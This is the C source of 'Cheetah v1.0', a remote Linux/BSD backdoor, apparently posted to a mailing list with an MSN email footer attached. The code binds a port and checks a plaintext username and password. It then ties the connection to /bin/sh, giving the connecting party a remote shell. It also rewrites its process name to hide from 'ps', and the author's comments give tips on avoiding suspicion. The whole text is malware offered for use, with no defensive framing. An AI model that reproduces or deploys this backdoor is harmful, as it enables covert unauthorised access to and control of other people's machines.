// ------------------------------------------------------------- // Cheetah v1.0 - Remote Linux/BSD Backdoor // ------------------------------------------------------------- // Features: // Low-CPU // Port/Backlog Selection // Remote Shell // User/Password Protection // Process Faking // ------------------------------------------------------------- // Usage: ./cheetah // ------------------------------------------------------------- // Note: The process faking is a bit buggy with arguments, so try // to use common words for the user/pass so it won't look very // suspicous to the person viewing 'ps -aux' ;) // -------------------------------------------------------------- // By: Tal0n 03-30-04 // ------------------------------------------------------------- #include #include #include #include #include #include #include #define SHELL "/bin/sh" int main(int argc, char *argv[]) { int lsock, rsock; struct sockaddr_in server; struct sockaddr_in client; char inuser[BUFSIZ]; char inpass[BUFSIZ]; char *username; username = argv[1]; char *password; password = argv[2]; char *process; process = argv[5]; char *banner = "\nCheetah v1.0, by Tal0n 03-30-04\n"; if(argc != 6) { printf("%s", banner); printf("\nUsage: %s ", argv[0]); printf("\nExample: %s bob d1rtyh4rry 9000 20 kfswapd\n\n", argv[0]); return 0; } if(argc == 6) { printf("%s", banner); if((lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("\n\nError: Can't create socket!\n\n"); return -1; } server.sin_family = AF_INET; server.sin_port = htons(atoi(argv[3])); server.sin_addr.s_addr = INADDR_ANY; strcpy(argv[0], process); signal(SIGCHLD, SIG_IGN); if(bind(lsock, (struct sockaddr *)&server, sizeof(struct sockaddr)) < 0) { printf("\n\nError: Can't bind on port %s!\n\n", argv[3]); return -1; } if(listen(lsock, argv[4]) < 0) { printf("\n\nError: Can't listen on port %s!\n\n", argv[3]); return -1; } printf("\nInformation:"); printf("\n\t\tUsername: %s", username); printf("\n\t\tPassword: %s", password); printf("\n\t\tPort: %s", argv[3]); printf("\n\t\tBacklog: %s", argv[4]); printf("\n\t\tProcess: %s\n\n", process); while(1) { int size; size = sizeof(struct sockaddr); rsock = accept(lsock, (struct sockaddr *)&client, &size); dup2(rsock, 0); dup2(rsock, 1); dup2(rsock, 2); printf("%s", banner); printf("\nUser: "); scanf("%s", &inuser); printf("\nPassword: "); scanf("%s", &inpass); if((strcmp(username, inuser) != 0) || (strcmp(password, inpass) != 0)) { printf("\nLogin Incorrect. Goodbye!\n\n"); close(rsock); return 0; } if((strcmp(username, inuser) == 0) && (strcmp(password, inpass) == 0)) { printf("\n\nLogin Correct. Entering Shell...\n\n"); execl(SHELL, SHELL, (char *)0); close(rsock); } } return 0; } } Cheetah is a Linux/BSD Backdoor with user/pass authenciation and some nice features. _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail